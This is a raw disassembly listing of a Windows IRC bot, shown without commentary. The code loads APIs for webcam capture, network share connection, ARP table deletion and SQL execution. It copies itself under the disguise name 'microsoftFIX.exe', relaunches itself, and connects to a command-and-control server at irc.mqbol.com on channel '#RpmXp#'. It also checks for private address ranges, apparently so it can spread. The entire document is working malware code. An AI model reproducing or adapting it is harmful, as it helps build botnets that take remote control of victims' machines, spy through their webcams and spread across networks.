dword_445440, 1 loc_401F5A: ; CODE XREF: sub_4014E0+A61j push offset aDnsapi_dll ; "dnsapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_401F8F push offset aDnsflushresolv ; "DnsFlushResolverCache" push edi call esi push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push edi mov dword_445264, eax call esi cmp dword_445264, ebx mov dword_445340, eax jz short loc_401F9A cmp eax, ebx jnz short loc_401FA4 jmp short loc_401F9A ; --------------------------------------------------------------------------- loc_401F8F: ; CODE XREF: sub_4014E0+A85j call near ptr 26908EFh nop mov dword_44544C, eax loc_401F9A: ; CODE XREF: sub_4014E0+AA7j ; sub_4014E0+AADj mov dword_445448, 1 loc_401FA4: ; CODE XREF: sub_4014E0+AABj push offset aIphlpapi_dll ; "iphlpapi.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_401FD9 push offset aGetipnettable ; "GetIpNetTable" push edi call esi push offset aDeleteipnetent ; "DeleteIpNetEntry" push edi mov dword_4453C4, eax call esi cmp dword_4453C4, ebx mov dword_4453C0, eax jz short loc_401FE4 cmp eax, ebx jnz short loc_401FEE jmp short loc_401FE4 ; --------------------------------------------------------------------------- loc_401FD9: ; CODE XREF: sub_4014E0+ACFj nop call near ptr 26908EFh mov dword_445454, eax loc_401FE4: ; CODE XREF: sub_4014E0+AF1j ; sub_4014E0+AF7j mov dword_445450, 1 loc_401FEE: ; CODE XREF: sub_4014E0+AF5j push offset aMpr_dll ; "mpr.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40204D push offset aWnetaddconnect ; "WNetAddConnection2A" push edi call esi push offset aWnetaddconne_0 ; "WNetAddConnection2W" push edi mov dword_4453F0, eax call esi push offset aWnetcancelconn ; "WNetCancelConnection2A" push edi mov dword_4453E8, eax call esi push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push edi mov dword_4453B0, eax call esi cmp dword_4453F0, ebx mov dword_445280, eax jz short loc_402058 cmp dword_4453E8, ebx jz short loc_402058 cmp dword_4453B0, ebx jz short loc_402058 cmp eax, ebx jnz short loc_402062 jmp short loc_402058 ; --------------------------------------------------------------------------- loc_40204D: ; CODE XREF: sub_4014E0+B19j nop call near ptr 26908EFh mov dword_44545C, eax loc_402058: ; CODE XREF: sub_4014E0+B55j ; sub_4014E0+B5Dj ... mov dword_445458, 1 loc_402062: ; CODE XREF: sub_4014E0+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_402097 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4452B4, eax call esi cmp dword_4452B4, ebx mov dword_4453BC, eax jz short loc_4020A2 cmp eax, ebx jnz short loc_4020AC jmp short loc_4020A2 ; --------------------------------------------------------------------------- loc_402097: ; CODE XREF: sub_4014E0+B8Dj nop call near ptr 26908EFh mov dword_445464, eax loc_4020A2: ; CODE XREF: sub_4014E0+BAFj ; sub_4014E0+BB5j mov dword_445460, 1 loc_4020AC: ; CODE XREF: sub_4014E0+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_402135 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_445384, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4453D0, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_44530C, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4452C4, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_445364, eax call esi cmp dword_445384, ebx mov dword_4452D4, eax jz short loc_402140 cmp dword_4453D0, ebx jz short loc_402140 cmp dword_44530C, ebx jz short loc_402140 cmp dword_4452C4, ebx jz short loc_402140 cmp dword_445364, ebx jz short loc_402140 cmp eax, ebx jnz short loc_40214A jmp short loc_402140 ; --------------------------------------------------------------------------- loc_402135: ; CODE XREF: sub_4014E0+BD7j call near ptr 26908EFh nop mov dword_44546C, eax loc_402140: ; CODE XREF: sub_4014E0+C2Dj ; sub_4014E0+C35j ... mov dword_445468, 1 loc_40214A: ; CODE XREF: sub_4014E0+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40217F push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_445298, eax call esi cmp dword_445298, ebx mov dword_445378, eax jz short loc_40218A cmp eax, ebx jnz short loc_402194 jmp short loc_40218A ; --------------------------------------------------------------------------- loc_40217F: ; CODE XREF: sub_4014E0+C75j nop call near ptr 26908EFh mov dword_445474, eax loc_40218A: ; CODE XREF: sub_4014E0+C97j ; sub_4014E0+C9Dj mov dword_445470, 1 loc_402194: ; CODE XREF: sub_4014E0+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4014E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40219C proc near ; CODE XREF: sub_403038+3991p var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_445408, esi push edi mov edi, [ebp+arg_8] jz short loc_4021E4 push dword_44540C lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_4021E4: ; CODE XREF: sub_40219C+1Aj cmp dword_445410, esi jz short loc_402218 push dword_445414 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402218: ; CODE XREF: sub_40219C+4Ej cmp dword_445418, esi jz short loc_40224C push dword_44541C lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_40224C: ; CODE XREF: sub_40219C+82j cmp dword_445420, esi jz short loc_402280 push dword_445424 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402280: ; CODE XREF: sub_40219C+B6j cmp dword_445428, esi jz short loc_4022B4 push dword_44542C lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_4022B4: ; CODE XREF: sub_40219C+EAj cmp dword_445430, esi jz short loc_4022E8 push dword_445434 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_4022E8: ; CODE XREF: sub_40219C+11Ej cmp dword_445438, esi jz short loc_40231C push dword_44543C lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_40231C: ; CODE XREF: sub_40219C+152j cmp dword_445440, esi jz short loc_402350 push dword_445444 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402350: ; CODE XREF: sub_40219C+186j cmp dword_445448, esi jz short loc_402384 push dword_44544C lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402384: ; CODE XREF: sub_40219C+1BAj cmp dword_445450, esi jz short loc_4023B8 push dword_445454 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_4023B8: ; CODE XREF: sub_40219C+1EEj cmp dword_445458, esi jz short loc_4023EC push dword_44545C lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_4023EC: ; CODE XREF: sub_40219C+222j cmp dword_445460, esi jz short loc_402420 push dword_445464 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402420: ; CODE XREF: sub_40219C+256j cmp dword_445468, esi jz short loc_402454 push dword_44546C lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402454: ; CODE XREF: sub_40219C+28Aj cmp dword_445470, esi jz short loc_402488 push dword_445474 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_4171D0 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 20h loc_402488: ; CODE XREF: sub_40219C+2BEj lea eax, [ebp+var_200] push offset unk_436AF0 push eax call sub_4171D0 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_4024B5 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_401445 add esp, 14h loc_4024B5: ; CODE XREF: sub_40219C+302j lea eax, [ebp+var_200] push eax call sub_410557 pop ecx pop edi pop esi pop ebx leave retn sub_40219C endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 20h cmp dword ptr [ebp+8], 0 push esi jz loc_40255C push offset dword_44548C push dword ptr [ebp+8] call sub_417870 pop ecx test eax, eax pop ecx jz short loc_40255C push 20h lea eax, [ebp-20h] push dword ptr [ebp+8] push eax call sub_417770 lea eax, [ebp-20h] push offset a__3 ; "." push eax call sub_417620 add esp, 14h test eax, eax jz short loc_40255C push eax call sub_4174D0 mov dword ptr [esp], offset a__4 ; "." push 0 mov esi, eax call sub_417620 pop ecx test eax, eax pop ecx jz short loc_40255C push eax call sub_4174D0 cmp esi, 0Ah pop ecx jz short loc_402557 cmp esi, 0ACh jnz short loc_402548 cmp eax, 0Fh jle short loc_40255C cmp eax, 20h jl short loc_402557 loc_402548: ; CODE XREF: ___:0040253Cj cmp esi, 0C0h jnz short loc_40255C cmp eax, 0A8h jnz short loc_40255C loc_402557: ; CODE XREF: ___:00402534j ; ___:00402546j push 1 pop eax jmp short loc_40255E ; --------------------------------------------------------------------------- loc_40255C: ; CODE XREF: ___:004024D2j ; ___:004024E9j ... xor eax, eax loc_40255E: ; CODE XREF: ___:0040255Aj pop esi leave retn ; =============== S U B R O U T I N E ======================================= sub_402561 proc near ; CODE XREF: sub_402D58+4Fp ; sub_403038+483Ap ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_445388 cmp eax, 0FFFFFFFFh jnz short locret_402589 push [esp+arg_0] call dword_4453CC test eax, eax jnz short loc_402582 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_402582: ; CODE XREF: sub_402561+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_402589: ; CODE XREF: sub_402561+Dj retn sub_402561 endp ; =============== S U B R O U T I N E ======================================= sub_40258A proc near ; CODE XREF: sub_402D58+D6p mov ecx, dword_445264 xor eax, eax test ecx, ecx jz short locret_402598 call ecx locret_402598: ; CODE XREF: sub_40258A+Aj retn sub_40258A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402599 proc near ; CODE XREF: sub_403038:loc_40690Fp var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4453C4 mov ecx, eax sub ecx, edi jz loc_402665 sub ecx, 32h jz loc_40265E sub ecx, 48h jz short loc_4025F9 sub ecx, 6Eh jz short loc_4025F2 push eax push offset unk_436BC8 loc_4025E1: ; CODE XREF: sub_402599+91j lea eax, [ebp+var_88] push eax call sub_4171D0 add esp, 0Ch jmp short loc_40263F ; --------------------------------------------------------------------------- loc_4025F2: ; CODE XREF: sub_402599+40j push offset unk_436B74 jmp short loc_402631 ; --------------------------------------------------------------------------- loc_4025F9: ; CODE XREF: sub_402599+3Bj push [ebp+var_8] call sub_414DB0 push [ebp+var_8] mov esi, eax push edi push esi call sub_417070 add esp, 10h cmp esi, edi jz short loc_40262C lea eax, [ebp+var_8] push ebx push eax push esi call dword_4453C4 cmp eax, edi jz short loc_402665 push eax push offset unk_436B18 jmp short loc_4025E1 ; --------------------------------------------------------------------------- loc_40262C: ; CODE XREF: sub_402599+79j push offset unk_436B44 loc_402631: ; CODE XREF: sub_402599+5Ej ; sub_402599+CAj lea eax, [ebp+var_88] push eax call sub_4171D0 pop ecx pop ecx loc_40263F: ; CODE XREF: sub_402599+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_410557 pop ecx loc_40264F: ; CODE XREF: sub_402599+CEj ; sub_402599+E2j push esi call sub_415820 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40265E: ; CODE XREF: sub_402599+32j push offset unk_436B98 jmp short loc_402631 ; --------------------------------------------------------------------------- loc_402665: ; CODE XREF: sub_402599+29j ; sub_402599+89j cmp [esi], edi jbe short loc_40264F lea ebx, [esi+4] loc_40266C: ; CODE XREF: sub_402599+E0j push ebx call dword_4453C0 inc edi add ebx, 18h cmp edi, [esi] jb short loc_40266C jmp short loc_40264F sub_402599 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40267D proc near ; CODE XREF: sub_403038+36B8p ; sub_403038+37F0p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_417070 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4452EC movzx eax, [ebp+var_D] push eax mov esi, offset dword_445478 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_4171D0 add esp, 18h mov eax, esi pop esi leave retn sub_40267D endp ; =============== S U B R O U T I N E ======================================= sub_4026D6 proc near ; CODE XREF: ___:00409DACp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_4026FF mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_4026F2: ; CODE XREF: sub_4026D6+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_4026F2 pop edi jmp short loc_402703 ; --------------------------------------------------------------------------- loc_4026FF: ; CODE XREF: sub_4026D6+Aj mov edx, [esp+4+arg_0] loc_402703: ; CODE XREF: sub_4026D6+27j test esi, esi pop esi jz short loc_40270D movzx ecx, byte ptr [edx] add eax, ecx loc_40270D: ; CODE XREF: sub_4026D6+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_4026D6 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp-4], esi jle short loc_402750 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_402742: ; CODE XREF: ___:0040274Aj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_402742 pop edi cmp eax, 1 loc_402750: ; CODE XREF: ___:00402736j jnz short loc_40275D mov al, [edx] mov [ebp-4], al movzx eax, word ptr [ebp-4] add esi, eax loc_40275D: ; CODE XREF: ___:loc_402750j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax leave retn ; --------------------------------------------------------------------------- loc_402776: ; DATA XREF: ___:00436004o jmp $+5 push 0FFFFh push 539h call sub_4123FE pop ecx mov dword_4D3010, eax pop ecx retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 988h push ebx xor ebx, ebx push esi push edi mov [ebp-8], ebx mov [ebp-0Ch], ebx mov dword ptr [ebp-4], offset sub_401317 push dword ptr [ebp-4] push large dword ptr fs:0 mov large fs:0, esp mov esi, dword_4DD304 call esi xor edx, edx mov ecx, 3E8h div ecx mov dword_4D3014, eax call esi push eax call sub_417B00 pop ecx call sub_4014E0 push 2 call dword_4453F4 push 7530h push offset aMqbol ; "mqbol" push ebx push ebx nop call near ptr 26C0000h push eax call near ptr 26B0CCEh nop cmp eax, 102h jnz short loc_402812 push 1 nop call near ptr 77E75CB5h loc_402812: ; CODE XREF: ___:00402808j lea eax, [ebp-884h] push eax push 202h call dword_4452B8 cmp eax, ebx jnz loc_402D4F cmp byte ptr [ebp-884h], 2 jnz loc_402D49 xor eax, eax mov al, [ebp-883h] cmp al, 2 jnz loc_402D49 mov esi, 104h lea eax, [ebp-3F0h] push esi push eax call near ptr 2690000h nop lea eax, [ebp-2ECh] push esi push eax push ebx nop call near ptr 26A0797h push eax nop call near ptr 2680000h lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push ebx lea eax, [ebp-2ECh] push ebx push eax call sub_417BD0 lea eax, [ebp-4F0h] push eax lea eax, [ebp-6F4h] push eax push offset aSS_6 ; "%s%s" lea eax, [ebp-5F4h] push esi push eax call sub_4172D0 lea eax, [ebp-3F0h] push eax lea eax, [ebp-2ECh] push eax call sub_417B50 add esp, 30h test eax, eax jnz loc_402A84 cmp dword_436C20, ebx mov esi, offset aMicrosoftfix_e ; "microsoftFIX.exe" jz short loc_40290A push esi xor edi, edi call sub_414BE0 sub eax, 4 pop ecx jz short loc_40290A loc_4028E7: ; CODE XREF: ___:00402908j call sub_417B10 push 1Ah cdq pop ecx idiv ecx push esi add dl, 61h mov byte ptr aMicrosoftfix_e[edi], dl ; "microsoftFIX.exe" inc edi call sub_414BE0 sub eax, 4 pop ecx cmp edi, eax jb short loc_4028E7 loc_40290A: ; CODE XREF: ___:004028D7j ; ___:004028E5j lea eax, [ebp-3F0h] push esi push eax lea eax, [ebp-1E8h] push offset aSS_7 ; "%s\\%s" push eax call sub_4171D0 add esp, 10h lea eax, [ebp-1E8h] push eax call near ptr 26B0C38h nop cmp eax, 0FFFFFFFFh jz short loc_40294A lea eax, [ebp-1E8h] push 80h push eax call near ptr 26B0AE4h nop loc_40294A: ; CODE XREF: ___:00402936j mov esi, dword_4DD2F0 lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] xor edi, edi push eax loc_402961: ; CODE XREF: ___:00402998j call esi test eax, eax jnz short loc_40299A nop call near ptr 26908EFh cmp edi, ebx jnz short loc_40299A cmp eax, 20h jz short loc_40297B cmp eax, 5 jnz short loc_40299A loc_40297B: ; CODE XREF: ___:00402974j push 1 pop edi push 3A98h nop call near ptr 2690599h lea eax, [ebp-1E8h] push ebx push eax lea eax, [ebp-2ECh] push eax jmp short loc_402961 ; --------------------------------------------------------------------------- loc_40299A: ; CODE XREF: ___:00402965j ; ___:0040296Fj ... lea eax, [ebp-1E8h] push eax call sub_411E5F pop ecx lea eax, [ebp-1E8h] push 7 push eax nop call near ptr 26B0AE4h push 10h lea eax, [ebp-20h] push ebx push eax call sub_417070 push 44h lea eax, [ebp-0E4h] pop esi push esi push ebx push eax call sub_417070 add esp, 18h mov [ebp-0E4h], esi mov dword ptr [ebp-0D8h], offset dword_4D3190 mov [ebp-0B4h], bx push 1 pop esi mov [ebp-0B8h], esi call near ptr 26B0658h nop push eax push esi push 100000h nop call near ptr 26B0000h lea ecx, [ebp-2ECh] push ecx push eax lea eax, [ebp-1E8h] push eax lea eax, [ebp-988h] push offset aSDS_0 ; "%s %d \"%s\"" push eax call sub_4171D0 add esp, 14h lea eax, [ebp-20h] push eax lea eax, [ebp-0E4h] push eax lea eax, [ebp-3F0h] push eax push ebx push 28h push esi push ebx lea eax, [ebp-988h] push ebx push eax lea eax, [ebp-1E8h] push eax nop call near ptr 267039Fh test eax, eax jz short loc_402A84 push 0C8h nop call near ptr 2690599h push dword ptr [ebp-20h] mov esi, dword_4DD2BC call esi push dword ptr [ebp-1Ch] call esi call dword_4452A0 push ebx nop call near ptr 77E75CB5h loc_402A84: ; CODE XREF: ___:004028C6j ; ___:00402A5Aj cmp dword_4DB0C0, 2 jle short loc_402AD0 mov eax, dword_4DB0C4 push dword ptr [eax+4] call sub_4174D0 pop ecx mov esi, eax push 0FFFFFFFFh push esi call near ptr 26B0CCEh nop push esi nop call near ptr 267009Bh mov eax, dword_4DB0C4 cmp [eax+8], ebx jz short loc_402AD0 push 7D0h nop call near ptr 2690599h mov eax, dword_4DB0C4 push dword ptr [eax+8] nop call near ptr 26A0AF2h loc_402AD0: ; CODE XREF: ___:00402A8Bj ; ___:00402AB5j cmp dword_436C24, ebx jz short loc_402AED cmp dword_445418, ebx jnz short loc_402AED lea eax, [ebp-5F4h] push eax call sub_401000 pop ecx loc_402AED: ; CODE XREF: ___:00402AD6j ; ___:00402ADEj lea eax, [ebp-0A0h] push offset dword_4375FC push eax call sub_4171D0 push ebx lea eax, [ebp-0A0h] push ebx push eax call sub_408E53 lea eax, [ebp-0A0h] push eax call sub_410557 push 0B80h push ebx push offset dword_445490 call sub_417070 lea eax, [ebp-0A0h] push offset unk_437618 push eax call sub_4171D0 push ebx lea eax, [ebp-0A0h] push 1 push eax call sub_408E53 add esp, 38h mov esi, eax mov edi, dword_4DD2E0 lea eax, [ebp-8] push eax push ebx push ebx push offset word_41377E push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_446224[esi], eax jnz short loc_402B8D nop call near ptr 26908EFh push eax lea eax, [ebp-0A0h] push offset unk_43763C push eax call sub_4171D0 add esp, 0Ch loc_402B8D: ; CODE XREF: ___:00402B70j lea eax, [ebp-0A0h] push eax call sub_410557 push 2 call sub_40909B pop ecx test eax, eax pop ecx jnz short loc_402C12 lea eax, [ebp-0A0h] push offset dword_43767C push eax call sub_4171D0 push ebx lea eax, [ebp-0A0h] push 2 push eax call sub_408E53 add esp, 14h mov esi, eax lea eax, [ebp-8] push eax push ebx push esi push offset loc_40EA18 push ebx push ebx call edi imul esi, 234h cmp eax, ebx mov dword_446224[esi], eax jnz short loc_402C05 call near ptr 26908EFh nop push eax lea eax, [ebp-0A0h] push offset dword_4376A8 push eax call sub_4171D0 add esp, 0Ch loc_402C05: ; CODE XREF: ___:00402BE8j lea eax, [ebp-0A0h] push eax call sub_410557 pop ecx loc_402C12: ; CODE XREF: ___:00402BA4j call sub_417B10 push 7Fh and eax, 3 push offset aIrc_mqbol_com ; "irc.mqbol.com" push offset dword_4D301C mov dword_4D3188, eax call sub_417770 mov eax, dword_436C00 push 3Fh mov edi, offset dword_4D309C push offset aRpmxp ; "#RpmXp#" push edi mov dword_4D316C, eax call sub_417770 push 3Fh mov esi, offset dword_4D30DC push offset aSend_0 ; "send" push esi call sub_417770 add esp, 24h mov dword_4D3170, ebx loc_402C67: ; CODE XREF: ___:00402CEFj ; ___:00402CFAj ... mov [ebp-4], ebx loc_402C6A: ; CODE XREF: ___:00402CA3j push offset dword_4D3018 mov dword_4D3184, ebx call sub_402D58 cmp eax, 2 mov [ebp-10h], eax jz loc_402D44 cmp dword_4D3184, ebx jz short loc_402C91 dec dword ptr [ebp-4] loc_402C91: ; CODE XREF: ___:00402C8Cj push 0BB8h nop call near ptr 2690599h inc dword ptr [ebp-4] cmp dword ptr [ebp-4], 6 jl short loc_402C6A cmp dword ptr [ebp-10h], 2 jz loc_402D44 cmp [ebp-0Ch], ebx jz short loc_402CF4 push 7Fh push offset aIrc_mqbol_com ; "irc.mqbol.com" push offset dword_4D301C call sub_417770 mov eax, dword_436C00 push 3Fh push offset aRpmxp ; "#RpmXp#" push edi mov dword_4D316C, eax call sub_417770 push 3Fh push offset aSend_0 ; "send" push esi call sub_417770 add esp, 24h mov [ebp-0Ch], ebx jmp loc_402C67 ; --------------------------------------------------------------------------- loc_402CF4: ; CODE XREF: ___:00402CB2j cmp byte_436C70, bl jz loc_402C67 push 7Fh push offset byte_436C70 push offset dword_4D301C call sub_417770 mov eax, dword_436C04 push 3Fh push offset dword_436C80 push edi mov dword_4D316C, eax call sub_417770 push 3Fh push offset aSend_1 ; "send" push esi call sub_417770 add esp, 24h mov dword ptr [ebp-0Ch], 1 jmp loc_402C67 ; --------------------------------------------------------------------------- loc_402D44: ; CODE XREF: ___:00402C80j ; ___:00402CA9j call sub_40901C loc_402D49: ; CODE XREF: ___:00402833j ; ___:00402843j call dword_4452A0 loc_402D4F: ; CODE XREF: ___:00402826j pop edi pop esi xor eax, eax pop ebx leave retn 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402D58 proc near ; CODE XREF: ___:00402C75p var_190 = dword ptr -190h var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_CC = byte ptr -0CCh var_8C = byte ptr -8Ch var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_2C = byte ptr -2Ch var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 190h mov eax, [ebp+arg_0] push esi push edi push 59h pop ecx mov esi, eax lea edi, [ebp+var_190] rep movsd mov dword ptr [eax+160h], 1 loc_402D7D: ; CODE XREF: sub_402D58+E6j ; sub_402D58+136j ... push 10h lea eax, [ebp+var_10] push 0 push eax call sub_417070 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+var_3C] call dword_445348 mov [ebp+var_E], ax lea eax, [ebp+var_18C] push eax call sub_402561 test eax, eax pop ecx mov [ebp+var_C], eax jz loc_402EAA push 1Ch lea eax, [ebp+var_2C] push 0 push eax call sub_417070 push 0 lea eax, [ebp+var_2C] push dword_436C34 push dword_436C30 push eax call sub_408B4C mov edi, eax mov eax, [ebp+var_34] imul eax, 234h push 1Bh add eax, offset byte_446228 push edi push eax call sub_417770 add esp, 28h push 6 push 1 push 2 call dword_4453C8 mov esi, eax mov eax, [ebp+var_34] imul eax, 234h push 10h mov dword_44621C[eax], esi lea eax, [ebp+var_10] push eax push esi call dword_4452F0 cmp eax, 0FFFFFFFFh jnz short loc_402E43 push esi call dword_4453E0 call sub_40258A push 7D0h loc_402E38: ; CODE XREF: sub_402D58+146j nop call near ptr 2690599h jmp loc_402D7D ; --------------------------------------------------------------------------- loc_402E43: ; CODE XREF: sub_402D58+CDj lea eax, [ebp+var_18C] push eax push offset unk_4376DC call sub_4105CB push [ebp+var_38] lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_CC] push [ebp+var_190] push edi push eax lea eax, [ebp+var_10C] push eax push esi call sub_402EC0 add esp, 28h mov edi, eax push esi call dword_4453E0 test edi, edi jz loc_402D7D cmp edi, 1 jnz short loc_402EA0 push 0DBBA0h jmp short loc_402E38 ; --------------------------------------------------------------------------- loc_402EA0: ; CODE XREF: sub_402D58+13Fj cmp edi, 2 jz short loc_402EAE jmp loc_402D7D ; --------------------------------------------------------------------------- loc_402EAA: ; CODE XREF: sub_402D58+5Aj xor eax, eax jmp short loc_402EBA ; --------------------------------------------------------------------------- loc_402EAE: ; CODE XREF: sub_402D58+14Bj push [ebp+var_34] call sub_40916F pop ecx push 2 pop eax loc_402EBA: ; CODE XREF: sub_402D58+154j pop edi pop esi leave retn 4 sub_402D58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402EC0 proc near ; CODE XREF: sub_402D58+123p var_1A90 = byte ptr -1A90h var_A90 = byte ptr -0A90h var_2C0 = byte ptr -2C0h var_140 = byte ptr -140h var_A0 = byte ptr -0A0h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_18 = dword ptr 20h arg_1C = dword ptr 24h push ebp mov ebp, esp mov eax, 1A90h call sub_417E20 push ebx push esi push edi xor ebx, ebx push 3 mov [ebp+var_8], ebx lea eax, [ebp+var_2C0] pop ecx loc_402EDE: ; CODE XREF: sub_402EC0+26j mov [eax], bl add eax, 80h dec ecx jnz short loc_402EDE cmp byte_4D3180, bl jz short 